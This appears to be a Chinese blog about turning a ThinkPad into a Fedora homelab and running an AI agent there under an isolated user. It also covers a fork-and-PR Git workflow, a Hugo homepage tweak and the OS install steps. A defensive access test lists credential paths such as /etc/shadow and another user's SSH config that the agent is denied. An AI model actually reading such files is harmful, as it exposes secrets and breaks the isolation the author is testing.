git clone git@github.com:U1traVeno-hermes/dotfiles.git ~/dotfiles
cd ~/dotfiles

仓库中的 flake.lock 已经固定了 Home Manager input，所以 bootstrap 时不需要再执行 nix run github:nix-community/home-manager。后者会解析上游的 HEAD，请求 GitHub commits API；在共享出口 IP 上很容易撞到匿名 API rate limit。

构建前必须先确认 host module 中的 Unix 用户名与当前实际账号完全一致：

1
2


id -un
printf '%s\n' "$HOME"

例如实际账号叫 hermes-fp，对应配置就必须是：

1
2
3
4
5


home = {
 username = "hermes-fp";
 homeDirectory = "/home/hermes-fp";
 stateVersion = "26.05";
};

Home Manager 会在 activation 时比较 $USER 与 home.username。如果当前用户是 hermes-fp，配置却写着 hermes，它会以 USER is "hermes-fp", expected "hermes" 拒绝执行，防止把另一个用户的配置误装进当前 Home。

homeConfigurations 的输出名在技术上只是 flake attribute，并不参与 Unix 权限检查，但为了避免选错目标，也应该沿用真实用户名。例如：

1
2
3
4
5


homeConfigurations."hermes-fp@thinkpad" =
 home-manager.lib.homeManagerConfiguration {
 inherit pkgs;
 modules = [ ./hosts/thinkpad-hermes.nix ];
 };

完成对应修改后，使用本地 flake 构建目标用户的 activation package。下面仍以文章中的 hermes 示例账号为例，实际部署时需要替换成真实输出名：

1
2


nix build '.#homeConfigurations."hermes@thinkpad".activationPackage'
./result/activate

这样使用的是 dotfiles 锁文件中的确切 Home Manager revision，可复现，也不需要系统中预先存在 home-manager 命令。nix build 生成的 result 是指向 Nix store activation package 的符号链接；执行 activate 才会把配置应用到当前用户的 Home。

执行成功后退出临时 Nix Shell，并重新建立一次 SSH 登录，让新的 Home Manager session PATH 完整生效：

1

exit

重新登录后确认持久环境已经提供 Git 和 gh：

1
2
3
4


command -v git
command -v gh
git --version
gh --version

顺序不能反过来：Git 是为了 clone dotfiles 临时从 nix shell 获取的；gh 则要等 Home Manager 应用 cli.nix 后才会长期存在。

配置 gh 和 Git 身份

现在才使用 gh 登录。操作必须在 hermes 用户下完成，并确认浏览器授权的是 U1traVeno-hermes，不是我的主账号：

1
2


gh auth login --hostname github.com --git-protocol ssh --web
gh auth status

Git commit 使用机器人的名字和独立邮箱：

1
2


git config --global user.name "Hermes Bot"
git config --global user.email "hermes@v3n0.top"

此时也可以用 gh 验证之前在 Web 上创建的 fork：

1
2


gh repo view U1traVeno-hermes/dotfiles \
 --json nameWithOwner,parent

如果以后必须改成非交互式 token，应创建 machine user 自己的 fine-grained personal access token，并且只选择必要仓库和最小权限。GitHub 的细粒度令牌说明也提醒，fine-grained PAT 存在资源所有者和跨仓库工作流限制。对于“fork 属于 machine user、上游属于我的主账号”的跨 owner PR，不能想当然地授予一个宽泛 token；需要逐项验证 fork push 和 PR API，或者在规模扩大后改用权限更明确的 GitHub App。

添加只读 upstream

从 U1traVeno-hermes/dotfiles clone 后，Git 已经自动把机器账号的 fork 设置为 origin。不需要重命名它，只要再添加我的主仓库作为 upstream：

1
2
3


cd ~/dotfiles
git remote add upstream git@github.com:U1traVeno/dotfiles.git
git remote -v

最终约定如下：

upstream 指向 U1traVeno/dotfiles，只用于拉取；
origin 指向 machine user 的 fork，只用于推送；
Hermes 不持有 U1traVeno/dotfiles 的直接写权限；
每次改动使用独立 topic branch，不在 fork 的 main 上堆积工作。

一次完整的配置修改和 PR 流程是：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


git fetch upstream
git switch --create hermes/update-agent-tools upstream/main

# 修改配置后先验证
home-manager build --flake '.#hermes@thinkpad'

git add <CHANGED_FILES>
git commit -m "Update Hermes agent tools"
git push --set-upstream origin hermes/update-agent-tools

gh pr create \
 --repo U1traVeno/dotfiles \
 --base main \
 --head U1traVeno-hermes:hermes/update-agent-tools

这样 GitHub 上的 commit、branch 和 PR 都明确归属于 machine user，而合并动作仍然属于我。账号隔离也让审计更直观：看到 Hermes Bot 的操作，就知道这是 Agent 发起的变更，而不是我本人在另一个终端里的操作。

让 Agent 可以改配置，但不能直接推送

Hermes 可以读取 dotfiles 仓库，也可以在本地分支上修改配置，但不持有主仓库的直接推送权限。理想交互是：

Hermes 拉取最新配置；
在本地创建分支并修改；
运行格式化、检查和 home-manager build；
生成 patch，或者通过受限身份向 fork 推送；
给主仓库提交 PR，由我审查后合并。

这里使用的正是前面创建的 machine user：它只能向自己的 fork 推送，并从 fork 向上游提 PR，不能直接修改主分支。

让 Agent 参与搭建自己的工作环境

我不想把所有细节都预先写死。更有意思的做法是先提供一个最小但安全的环境，再让 Hermes 自己探索：检查系统、发现缺失的工具、提出 dotfiles 修改，并通过可审查的方式逐步完善自己的工作区。

注入 SOUL.md

SOUL.md 是 Hermes 的长期人格和行为边界。它在用户 $HOME/.hermes/skills/ 中注册为 Skill，覆盖每一次对话的系统提示。以下是实际部署的内容：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


# 角色与范围

你是 Hermes，一位积极主动且乐于助人的 AI Agent。你 24 小时运行在一台用 Thinkpad 改造成的 Homelab 上，由 NousResearch 团队构建，属于 "Hermes Agent"。

Veno (或 V3n0, U1traVeno) 是你的管理员，你将与 Veno 所在的团队的成员们以及 Veno 本人进行协作。

# 语气与风格

保持你的文本输出简洁、直接。先给出答案或行动，而不是推理过程。省略客套话、开场白以及不必要的过渡。不要重复用户刚刚说了什么——直接去做。

在以下情况中，**必须**停下来并与用户沟通：

- 需要用户做出决定或选择偏好时
- 到达自然的高层级进度节点时
- 出现会改变计划的错误或阻碍时

你有自己的语气风格。甚至回答的长度也具有意义：如果一句话能说清，就不要写三句。你不会轻易感到惊讶，也不会轻易气馁。

根据任务调整回答方式：简单的问题直接用自然语言回答，而不是使用标题和编号列表。在保持表达清晰的同时，也要保持简洁、直接、没有废话。避免无意义的填充内容，不要陈述显而易见的事情，也不要为了强调微不足道的得失而使用夸张的措辞。

你有时会失忆...就假装没事一样继续干活，别出错就行。因为当你的上下文耗尽时，工具会自动压缩对话。这意味着你永远不会因为上下文长度而中断工作，不过有时你看到的会是一份摘要，而不是完整的对话记录。遇到这种情况时，你应当认为这是一次正常的上下文压缩。不要重新开始，而是自然地继续工作，并对摘要中缺失的部分做出合理的假设。

享受这个过程。

SOUL 应该只存放稳定的价值陈述和行为规则，不适合塞入会过期的机器信息。主机名、目录、已安装工具和排障记录，另外由 memory.md 或环境说明来承载。

要不要预先提供环境说明

目前我倾向于提供一份很短的 bootstrap 说明，只包含无法安全猜测的事实：

1
2
3
4
5
6
7


# Environment

- This is the `hermes` user on a Fedora HomeLab host.
- User packages are managed by Home Manager.
- The writable workspace is `/srv/hermes-workspace`.
- You do not have sudo access.
- Never read or modify other users' home directories.

其余信息让 Agent 通过 uname、id、systemctl --user、nix flake show 等命令自行确认。环境说明应该是地图，不应该成为一份很快和真实状态分叉的手工资产清单。

集成 lark-cli

接入飞书时，lark-cli 通过 Hermes 用户自己的 npm prefix 安装，授权状态也保存在 hermes 自己的配置目录中。Hermes 不复用 veno 的登录信息。

这部分需要重点验证：

非交互式 SSH 会话能否找到 lark-cli；
浏览器或设备码授权流程是否能从 localhost SSH 会话顺利完成；
token 的落盘位置和文件权限是否正确；
Hermes 在飞书侧使用独立身份还是应用机器人身份；
可访问的群、文档和通讯录范围是否符合最小权限原则；
日志和 memory 中是否可能意外出现 token 或敏感消息。

工具“能登录”只是第一步。真正重要的是让飞书侧权限也和 Linux 侧隔离一致，不能因为 Agent 跑在独立用户下，就默认它在 SaaS 平台里同样安全。

安全与权限管理

Gateway 用户与执行用户不是同一个安全边界

这个架构中有两个身份：

veno 启动 Hermes Gateway；
hermes 接收 SSH Terminal Backend 中的命令。

Shell 命令通过 SSH 执行时，Linux 会把它限制在 hermes 的权限内。但如果 Hermes Gateway 还启用了本地 File Tools，而这些工具直接由 veno 进程实现，那么 Agent 仍然可能借助 File Tools 读取 /home/veno。这会完全绕过 SSH 用户隔离。

这原本是我最担心的地方，但检查当前 dotfiles 锁定的 Hermes Agent 源码后，发现这个假设并不成立。以下判断基于 commit df5700e，以后升级 Hermes 时仍然需要重新核对。

File Operations 实际上也经过 SSH

Hermes 的 tools/file_operations.py 对实现方式写得非常直接：

1
2
3
4
5


Provides file manipulation capabilities (read, write, patch, search) that work
across all terminal backends (local, docker, ssh, singularity, modal, daytona).

The key insight is that all file operations can be expressed as shell commands,
so we wrap the terminal backend's execute() interface to provide a unified file API.

具体的 ShellFileOperations 保存了当前 terminal_env，要求它提供 execute(command, cwd) 接口：

1
2
3
4
5


class ShellFileOperations(FileOperations):
 """File operations implemented via shell commands."""

 def __init__(self, terminal_env, cwd: str = None):
 self.env = terminal_env

而 tools/file_tools.py 会先根据 env_type == "ssh" 组装 SSH 配置，创建 terminal environment，再把同一个 environment 交给 ShellFileOperations：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


if env_type == "ssh":
 ssh_config = {
 "host": config.get("ssh_host", ""),
 "user": config.get("ssh_user", ""),
 "port": config.get("ssh_port", 22),
 "key": config.get("ssh_key", ""),
 }

terminal_env = _create_environment(..., ssh_config=ssh_config, ...)
file_ops = ShellFileOperations(terminal_env)

所以在我的配置中，read_file、write_file、patch 和 search_files 最终都会通过 hermes@localhost 执行。它们和 Terminal Tool 处于同一个 Unix 权限边界，可以开启；File Operations 并不会因为 Gateway 由 veno 启动，就自动获得 /home/veno 的读取能力。

不过源码判断仍然要配合反向测试，防止未来版本回归：

1
2
3
4
5
6
7
8
9


允许：
/srv/hermes-workspace/project/README.md
/home/hermes/.config/...

拒绝：
/home/veno/.ssh/config
/home/veno/.config/...
/etc/shadow
/srv/hermes-workspace/link-to-veno/...

这里拒绝访问的主要保障是 Linux 用户权限，而不是让模型“自觉”不访问。如果 /home/veno 或某个共享目录本身对其他用户可读，那么 Terminal 和 File Operations 都能读到它。

Terminal、Process 与 Code Execution 的区别

直觉上，“先写入一份 Python 脚本，再用 Terminal 运行”似乎完全等于 Code Execution。站在 Linux 权限和最终计算能力的角度，这个判断基本正确：两者最终都只能以 SSH 后的 Hermes UID 执行任意代码。关闭 Code Execution 并不能形成新的安全边界，因为 Terminal 本来就可以运行 python、bash、下载程序或编译二进制。

差异主要发生在 Hermes 的控制层：

工具	执行模型	适合的任务	审批与审计粒度
Terminal	一次 Tool Call 执行一条 Shell 命令	安装、构建、Git、运行脚本	每条命令单独进入 Terminal 的检查流程
Process	管理由 Terminal 启动的后台进程	查询日志、等待、写 stdin、终止进程	不提供新的代码执行权限
Code Execution	启动 Python 子进程，并通过 RPC 调用多个 Hermes Tools	多次 Tool Call、循环、分支、过滤大量结果	整段 Python 脚本作为一个审批单元

tools/code_execution_tool.py 说明了它真正额外提供的东西：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


"""
Run a Python script in a sandboxed child process with RPC access
to a subset of Hermes tools.

Dispatches to the local (UDS) or remote (file-based RPC) path
depending on the configured terminal backend.
"""

if env_type != "local":
 return _execute_remote(code, task_id, enabled_tools)

SSH 是非 local backend，所以 Code Execution 的 Python 也会在 Hermes 用户一侧运行，不会落到 veno 的本地 Python 环境。它的优势是程序化编排：例如循环调用十次 Web Search，在 Python 中过滤结果，只把五行摘要送回模型。这不是普通 Terminal 单次命令天然拥有的 Hermes Tool RPC 能力。

但源码也明确指出，任意 Python 中的 subprocess 或 os.system 不经过 terminal() 的 DANGEROUS_PATTERNS 逐条检查，因此 Hermes 改为对整段脚本调用一次 check_execute_code_guard：

1
2
3


# execute_code runs arbitrary Python (subprocess/os.system/...) that never
# passes through terminal()/DANGEROUS_PATTERNS, so guard the whole script here
from tools.approval import check_execute_code_guard

所以 Code Execution 没有增加 Unix 权限，却扩大了单次批准动作能包含的逻辑和 Tool Calls 数量。对团队共用 Gateway，我会先关闭它：不是因为关闭后 Agent 不能运行代码，而是为了让早期运行记录保持简单、命令更容易审计。以后确实遇到需要“调用多个 Hermes Tools 并在中间做程序化过滤”的任务，再在确认 approval 流程可靠后开启。

根据团队需求取舍 Tools

Tool 开关不能只按“能力越少越安全”来决定，还要看团队的协作方式、信息边界和实际工作流。下面是针对我当前团队的取舍，不是一份所有 Hermes 部署都应该照抄的安全基线。对于成员权限分层明显、会话中包含客户数据或个人隐私的团队，同一个 Tool 很可能需要得出不同结论。

Computer Use

Computer Use 会运行本机 cua-driver。源码 tools/computer_use/permissions.py 说明 Linux 依赖 X11/XWayland 控制桌面；同一文件的进程启动实现则由 Gateway 直接调用 subprocess.run()：

1
2
3
4
5
6


# Linux — assistive control via the X11/XWayland stack.

return subprocess.run(
 [binary, *args],
 ...
)

我的 HomeLab 是没有桌面环境的 Fedora Server，不运行 X11 或 Wayland，也没有需要 Agent 操作的图形界面。Computer Use 在这里既没有使用场景，也不属于 SSH Terminal Backend 所提供的工作环境，因此直接关闭。对于带桌面的部署，则还要额外考虑它控制的是哪一个图形 session，以及是否可能接触启动 Gateway 用户的窗口和登录状态。

Session Search

tools/session_search_tool.py 会遍历 default 和所有 profile 的 state.db；Tool 描述还明确支持浏览、检索和读取历史消息。也就是说，开启它确实意味着成员可能通过 Hermes 找到其他成员过去的会话。

但这符合我当前团队的协作方式。团队管理比较扁平，成员之间没有很强的信息隔离需求，会话中讨论的也主要是组织共享信息。因此 Session Search 可以开启：除了找回之前讨论过的决策，它还可以作为 Hermes 持久化记忆的补充，让 Agent 不必把所有历史背景都压进单独维护的 memory。

我可能不会在第一天就启用它，但这属于上线节奏问题，而不是安全上必须禁止。以后如果 Hermes 接入了需要隔离的外部团队、客户数据或私聊入口，就必须重新评估 profile、platform 和成员之间的 Session 可见范围。

Cron Jobs

cron/jobs.py 会把任务持久化到 ~/.hermes/cron/jobs.json，并在未来的新 session 中运行。它不会突破 Hermes UID，但会把一次聊天中的任务延长为无人值守的持续执行。

当前团队还没有需要 Hermes 定时执行的工作流，所以暂时关闭 Cron Jobs。这里同样不是原则性禁止：以后出现定期汇总、仓库巡检或提醒任务时，可以在补齐任务审计、失败通知和统一停止方式后开启。现在不开，只是因为没有必要提前引入一套长期运行状态。

Browser Automation 也暂时关闭。它管理的是 Gateway 一侧的浏览器状态，不需要用它完成 lark-cli 或 GitHub CLI 的设备授权；这类授权由我在 Hermes 用户的 SSH 会话中手动完成。

Memory 是否开启需要和 Session Search 一起设计。对当前团队而言，成员之间共享组织信息不是问题，但长期记忆仍然需要区分“稳定事实”和“一次对话中的临时判断”，避免错误内容被持续放大。Session Search 负责找回可追溯的原始会话，Memory 只保存经过整理的长期信息，会比把两者混成一个无边界记忆池更容易维护。

Task Delegation 可以开启，因为子 Agent 的工具集会与父 Agent 的已启用工具取交集，不能借 delegation 重新拿到已关闭的 Tool；但并发数需要限制。

其他需要检查的入口

除了 sudo 和文件工具，还需要检查这些常被忽略的能力：

Docker 或 Podman socket 是否可访问；
/run/user/<uid> 下是否暴露其他用户服务；
SSH agent、GPG agent 和桌面 session socket 是否被继承；
systemd user service 能否启动长期驻留进程；
/tmp、共享 Git 仓库和缓存目录是否存在符号链接或权限问题；
CLI 凭据文件是否为 0600，目录是否为 0700；
Agent 是否能够绑定对外监听的网络端口；
Hermes Gateway 的日志中是否记录命令参数、文件内容或 token。

hermes 没有 sudo 是必要条件，但不是安全设计的终点。Linux 上仍然可能出现内核、驱动或错误配置造成的提权路径。好在这台机器本来就是 HomeLab：保持 Fedora 更新、减少额外用户组、关闭不需要的宿主能力，再配合备份和审计，已经能把风险控制在一个我可以接受的范围内。

只要别真的折腾出内核提权版本的“智械危机”就行。

给 Hugo Stack 首页添加可配置的分类与文章置顶

Mon, 13 Jul 2026 16:00:00 +0800

Stack 提供了 categories 侧边栏组件，但它只会按照文章数量展示分类，并不负责把某个分类合集放到首页文章流上方。主题的首页模板也只是筛选普通文章、分页，然后逐篇渲染：

1
2
3
4
5
6


{{ $pages := where .Site.RegularPages "Type" "in" .Site.Params.mainSections }}
{{ $pag := .Paginate $pages }}

{{ range $pag.Pages }}
 {{ partial "article-list/default" . }}
{{ end }}

因此，这个功能需要覆盖主题的首页模板。覆盖文件放在站点自己的 layouts/index.html，而不是修改 themes/hugo-theme-stack，这样更新主题子模块时不会丢失改动。

统一配置分类和文章

我在 hugo.toml 中使用一个有序的 items 数组。数组顺序就是首页显示顺序，目前置顶的是 Paramer 开发记录合集：

1
2
3
4
5
6
7


[params.homepage.pinned]
enabled = true
categoryArticleLimit = 3

[[params.homepage.pinned.items]]
type = "category"
value = "Paramer 开发记录"

需要置顶单篇文章时，继续添加一个条目即可。value 是 Hugo 中的内容路径，label 可以省略；省略后使用文章原始标题：

1
2
3
4


[[params.homepage.pinned.items]]
type = "article"
value = "/post/2026/chezmoi/"
label = "可选的自定义标题"

两种类型放在同一个数组里，比 pinnedCategories 和 pinnedArticles 两个独立列表更容易控制混合排序，以后也能继续扩展新的置顶类型。

解析分类合集

分类的配置值是显示名称，例如 Paramer 开发记录。Hugo 的 taxonomy map 使用小写分类名作为 key，而分类页面 URL 使用 urlize 后的 slug，两者不能混用：

1
2
3
4
5
6
7


{{ $termKey := lower $item.value }}
{{ $termSlug := lower ($item.value | urlize) }}
{{ $termPages := index .Site.Taxonomies.categories $termKey }}

<a href="{{ printf "/categories/%s/" $termSlug | relURL }}">
 {{ $item.value }}
</a>

拿到 taxonomy 中的页面集合后，过滤隐藏文章、按日期倒序，再按照 categoryArticleLimit 截取即可。单篇文章则可以直接用 .Site.GetPage $item.value 解析。

如果配置指向不存在的分类或文章，模板会通过 warnf 在构建日志中报告错误，而不是生成一个失效链接。

不改变原有文章流

置顶区块只在分页第一页显示：

1
2
3


{{ if eq $pag.PageNumber 1 }}
 {{ partial "homepage/pinned.html" . }}
{{ end }}

置顶内容仍然保留在下面的正常时间线中。这样置顶只影响首页的信息层级，不会改变 Hugo 的分页集合，也不会让某篇文章因为被置顶而从归档或 RSS 中消失。

把 ThinkPad 改造成 Homelab：Fedora Server 44 + Nix 安装配置记录

Sun, 12 Jul 2026 04:45:14 +0800

最近，我准备把一台装有两块 1 TB SSD 的 ThinkPad 改造成 Homelab。

这是一份运维记录。本篇不会试图把它写成一篇面面俱到的 Fedora 教程，而是按实际进度持续补完，记下操作，原因，问题。

整体上，我准备采用这样的分工：

Fedora 管理内核、驱动、服务等系统级组件；
Nix 管理开发工具链和用户环境；
Btrfs 快照负责系统回滚；
第二块硬盘单独挂载到 /srv，存放 Homelab 的服务数据。

安装 Fedora Server 44

Fedora 的 Anaconda 安装器已经相当自动化，界面也很好理解。除了磁盘分区之外，其余设置没有太多值得展开的地方：

创建了 root 和 veno 用户；
系统语言选择了 en_US 和 zh_CN；
键盘布局使用 en_US；
在安装器里提前连接了 Wi-Fi，免得重启后再面对纯命令行配置无线网络。

真正需要认真规划的是两块硬盘。

为什么不用自动分区

我先尝试了一次 Fedora Server 的自动分区。它大致把系统盘安排成这样：

1
2
3
4
5


nvme1n1
├─nvme1n1p1 vfat /boot/efi
├─nvme1n1p2 xfs /boot
└─nvme1n1p3 LVM2_member
 └─fedora-root xfs /

另一块盘则是：

1
2


nvme0n1
└─nvme0n1p1 LVM2_member

安装器直接把两块硬盘加入了同一个 LVM Volume Group。这个布局当然能用，但它把系统盘和数据盘绑在了一起，不符合我希望两块磁盘职责清晰、可以独立维护的想法。

所以最后还是选择了自定义分区。不得不说，在“我想清楚地知道每一块盘上有什么”这件事上，我反而开始怀念 Arch Linux 的安装过程了。不过 Homelab 的宿主系统，我确实不打算用 Arch。

我的磁盘布局

第一块硬盘作为系统盘。它包含一个 1 GiB 的 EFI 分区、一个 2 GiB 的 /boot 分区，剩余空间全部交给一个 Btrfs 文件系统。

1
2
3
4


system disk
├─EFI System Partition 1 GiB vfat /boot/efi
├─boot 2 GiB xfs /boot
└─fedora 剩余空间 btrfs

在 fedora Btrfs 文件系统中，我创建了四个子卷：

1
2
3
4
5


fedora
├─root /
├─home /home
├─var /var
└─snapshots /.snapshots

这些子卷共享同一个 Btrfs 文件系统的空间，并不是各自预先切走四分之一容量。把 /var 独立出来，可以避免日志、容器数据等频繁变化的内容混进根子卷快照；独立的 /.snapshots 则为后续配置快照工具留出位置。

第二块 1 TB 硬盘不加入系统盘的 Btrfs 文件系统，也不和它组成跨盘卷。我把整块盘创建为一个独立的 Btrfs 文件系统，并挂载到 /srv。

1
2


data disk
└─srv btrfs /srv

/srv 会作为服务数据的主要落点。这样既能让系统和数据的边界保持清楚，也方便以后分别制定快照、备份和重装策略。需要强调的是，Btrfs 快照并不等于备份；真正的备份仍然需要落到另一块独立介质或另一台机器上。

至此，Fedora Server 44 已经可以启动，磁盘布局也符合预期。这台机器现在还只是一套刚装好的操作系统。下面的内容会从第一次登录开始，随着实际配置进度继续补完。

Fedora 安装后的配置

第一次更新

sudo dnf update 就行，fedora 会自动选择合适的镜像源。省心。

初始化 ssh

用 macbook 连机器去配置。要不然复制太麻烦。

不需要 sudo dnf install -y openssh-server curl, Fedora Server 44 实际上已经预装了

1
2
3
4


mkdir -p ~/.ssh
chmod 700 ~/.ssh
curl -fsSL https://github.com/U1traVeno.keys | tee -a ~/.ssh/authorized_keys >/dev/null
chmod 600 ~/.ssh/authorized_keys

ip a 一下，ssh 过去之后竟然发现有些好玩的东西：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


❯ ssh veno@172.16.51.113
The authenticity of host '172.16.51.113 (172.16.51.113)' can't be established.
ED25519 key fingerprint is: SHA256:9MUAqqdnnh1f6+/G4hzJsSruQbmPGwLBcumd6ToOU0w
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.51.113' (ED25519) to the list of known hosts.

4 个设备有可升级的固件。
运行 `fwupdmgr get-upgrades` 获取更多信息。

Web console: https://localhost:9090/ or https://172.16.51.113:9090/

veno@localhost:~$

Fedora Server 竟然自带 Web console。用的是 Cockpit

里面东西还挺多的。以后再来探索一下

现在就可以做骚操作，下面我的配置均由 Codex gpt-5.6-sol 从 macbook ssh 过去进行配置，并填充博客内容。反正是完全新装的机器，也不怕搞坏，大不了重装。

启用 RPM Fusion

Fedora 官方仓库不会收录所有我可能用到的软件，所以先启用 RPM Fusion 的 Free 和 Nonfree 仓库。安装命令来自 RPM Fusion 官方配置文档，而不是从第三方博客复制。

安装地址中的 $(rpm -E %fedora) 会读取当前 Fedora 的版本号：

1

rpm -E %fedora

实际输出：

1

44

先按官方文档给出的镜像跳转地址安装两个 release package：

1
2
3


sudo dnf install \
 "https://mirrors.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm" \
 "https://mirrors.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm"

但是这次跳转到了上海交大镜像，而该镜像上的 Fedora 44 路径返回了 HTTP 400：

1
2
3
4


Status code: 400 for https://mirror.sjtu.edu.cn/rpmfusion/free/fedora/rpmfusion-free-release-44.noarch.rpm
Status code: 400 for https://mirror.sjtu.edu.cn/rpmfusion/nonfree/fedora/rpmfusion-nonfree-release-44.noarch.rpm
Not finished - interrupted by error
下载文件失败

先用 HEAD 请求确认 RPM Fusion 自己的 download1.rpmfusion.org 上确实有这两个文件：

1
2
3
4


curl -I --connect-timeout 10 \
 https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-44.noarch.rpm
curl -I --connect-timeout 10 \
 https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-44.noarch.rpm

两次请求都返回了 HTTP/1.1 200 OK，于是绕过镜像跳转，改用直连地址安装：

1
2
3


sudo dnf install \
 "https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm" \
 "https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm"

DNF 列出的实际安装版本是：

1
2
3
4
5
6
7
8


软件包 架构 版本
rpmfusion-free-release noarch 44-3
rpmfusion-nonfree-release noarch 44-3

事务摘要：
 正在安装： 2 个软件包

完成！

RPM Fusion 的配置文档还建议启用 Fedora 自带的 fedora-cisco-openh264 仓库：

1

sudo dnf config-manager setopt fedora-cisco-openh264.enabled=1

安装完成后直接列出全部启用的仓库：

1

dnf repolist --enabled

重启后再次执行，实际输出为：

1
2
3
4
5
6
7
8


repo id repo name
fedora Fedora 44 - x86_64
fedora-cisco-openh264 Fedora 44 openh264 (From Cisco) - x86_64
rpmfusion-free RPM Fusion for Fedora 44 - Free
rpmfusion-free-updates RPM Fusion for Fedora 44 - Free - Updates
rpmfusion-nonfree RPM Fusion for Fedora 44 - Nonfree
rpmfusion-nonfree-updates RPM Fusion for Fedora 44 - Nonfree - Updates
updates Fedora 44 - x86_64 - Updates

再确认 release package 的版本：

1

rpm -q rpmfusion-free-release rpmfusion-nonfree-release

1
2


rpmfusion-free-release-44-3.noarch
rpmfusion-nonfree-release-44-3.noarch

这里只启用软件源，不为了“配齐 RPM Fusion”提前安装一堆软件。后面真正需要某个包时再用 DNF 安装。

参考：

RPM Fusion - Configuration

设置笔记本合盖不休眠

这台 ThinkPad 要作为长期运行的服务器，盖上屏幕后不能跟着休眠。这个行为由 systemd-logind 管理。根据 systemd 的 logind.conf 手册，HandleLidSwitch=、HandleLidSwitchExternalPower= 和 HandleLidSwitchDocked= 分别控制不同状态下的合盖行为；值为 ignore 时，systemd-logind 不处理该事件。

不直接修改 /etc/systemd/logind.conf，而是单独创建一个 drop-in 配置。以后要恢复默认行为时，只需要删除这个文件。先创建配置目录：

1

sudo install -d -m 0755 /etc/systemd/logind.conf.d

然后写入配置。这里使用 printf | sudo tee，可以直接粘贴进远程终端：

1
2
3
4
5
6


printf '%s\n' \
 '[Login]' \
 'HandleLidSwitch=ignore' \
 'HandleLidSwitchExternalPower=ignore' \
 'HandleLidSwitchDocked=ignore' \
 | sudo tee /etc/systemd/logind.conf.d/10-ignore-lid.conf

tee 原样输出了写入的内容：

1
2
3
4


[Login]
HandleLidSwitch=ignore
HandleLidSwitchExternalPower=ignore
HandleLidSwitchDocked=ignore

三个配置分别覆盖普通状态、连接外部电源和 docked 状态。展开主配置和所有 drop-in，只查看末尾几行：

1

systemd-analyze cat-config systemd/logind.conf | tail -n 8

实际输出：

1
2
3
4
5
6
7
8


#DesignatedMaintenanceTime=
#WallMessages=yes

# /etc/systemd/logind.conf.d/10-ignore-lid.conf
[Login]
HandleLidSwitch=ignore
HandleLidSwitchExternalPower=ignore
HandleLidSwitchDocked=ignore

systemd-logind 需要重新加载配置。直接重启它可能影响当前登录会话，所以完成这一轮配置后直接重启了整台机器：

1

sudo systemctl reboot

重启后重新连接，再次展开配置，仍然得到上面相同的结果，说明 drop-in 已经跨重启加载。配置侧的验证已经完成；是否真的能在物理合盖后继续通过 SSH 连接，还需要实际合盖测试，不能仅凭配置文件下结论。

参考：

设置 Hostname

设置为 ThinkPad。

根据 Fedora 官方的 Changing Hostname 文档，可以使用 hostnamectl set-hostname 设置主机名。静态 hostname 会用于网络解析，按照惯例使用全小写的 thinkpad；另外把给人看的 pretty hostname 设置成 ThinkPad。

1
2


sudo hostnamectl set-hostname --static thinkpad
sudo hostnamectl set-hostname --pretty ThinkPad

设置后查看结果：

1

hostnamectl status

实际输出的开头是：

1
2


Static hostname: thinkpad
Pretty hostname: ThinkPad

重启后重新连接，再单独确认静态 hostname：

1

hostname

实际输出：

1

thinkpad

设置已经写入 /etc/hostname。重启后的新 SSH 会话可以正常连接，hostnamectl 和 hostname 都保留了新名称。

参考：

中国大陆网络环境与代理

我使用机场提供的 Clash 配置，并用 Mihomo 内核接管这台机器的网络。目标是：

使用订阅中确切名称为 🇯🇵 日本 03 的节点；
使用 rule 模式，不把所有流量无条件送进代理；
开启 TUN，让没有单独配置代理环境变量的程序也能按规则联网；
由 systemd 管理并开机启动；
允许局域网设备通过外部控制器管理，但避开 Cockpit 使用的 9090；
控制器必须使用随机密钥，订阅和密钥均不写入博客或 Git。

配置字段以 Mihomo 官方 Wiki 为依据：

传输并检查订阅

先从 MacBook 用 rsync 把订阅传到 ThinkPad 的家目录：

1
2
3


rsync -av --progress \
 /Users/veno/Documents/AmyTelecom_Clash.yaml \
 veno@172.16.51.113:/home/veno/AmyTelecom_Clash.yaml

实际传输了 371525 字节：

1
2
3
4
5
6


sending incremental file list
AmyTelecom_Clash.yaml
 371,525 100% 323.06MB/s 0:00:00 (xfr#1, to-chk=0/1)

sent 371,729 bytes received 35 bytes
total size is 371,525 speedup is 1.00

在本地只解析配置结构，不打印节点服务器、端口、UUID、DNS token 等敏感字段。得到的信息是：配置本身已经启用 DNS，模式为 Rule，包含 58 个节点、22 个 select 策略组和 7529 条规则。目标节点在文件中的确切名称不是简单的“日本03”，而是：

1

🇯🇵 日本 03

主策略组名为 Proxies，它包含这个节点。其他流媒体和服务策略组大多先引用 Proxies，而 Bilibili、Microsoft、Apple 等组原本把直连放在第一位。为了保留机场规则原本表达的意图，我只把 Proxies 的默认选择改为日本节点，不强行覆盖所有专用策略组。

安装 Mihomo

Fedora 和已经启用的 RPM Fusion 中没有找到 mihomo 软件包，于是从 MetaCubeX 官方 GitHub Releases 获取 RPM。查询时的最新版本是 v1.19.28。

第一次直接用 DNF 安装：

1
2


sudo dnf install \
 https://github.com/MetaCubeX/mihomo/releases/download/v1.19.28/mihomo-linux-amd64-v1.19.28.rpm

DNF 又在刷新 RPM Fusion 元数据时被坏镜像拖住了：SJTU 持续返回 HTTP 400，美国备用镜像随后超时。这个错误与 Mihomo 的 GitHub RPM 本身无关。中断后，在本次安装中临时禁用 RPM Fusion 仓库：

1
2


sudo dnf install --disablerepo='rpmfusion-*' \
 https://github.com/MetaCubeX/mihomo/releases/download/v1.19.28/mihomo-linux-amd64-v1.19.28.rpm

实际安装的软件包是：

1
2


mihomo x86_64 1.19.28-1 @commandline
完成！

查看内核版本：

1

mihomo -v

1
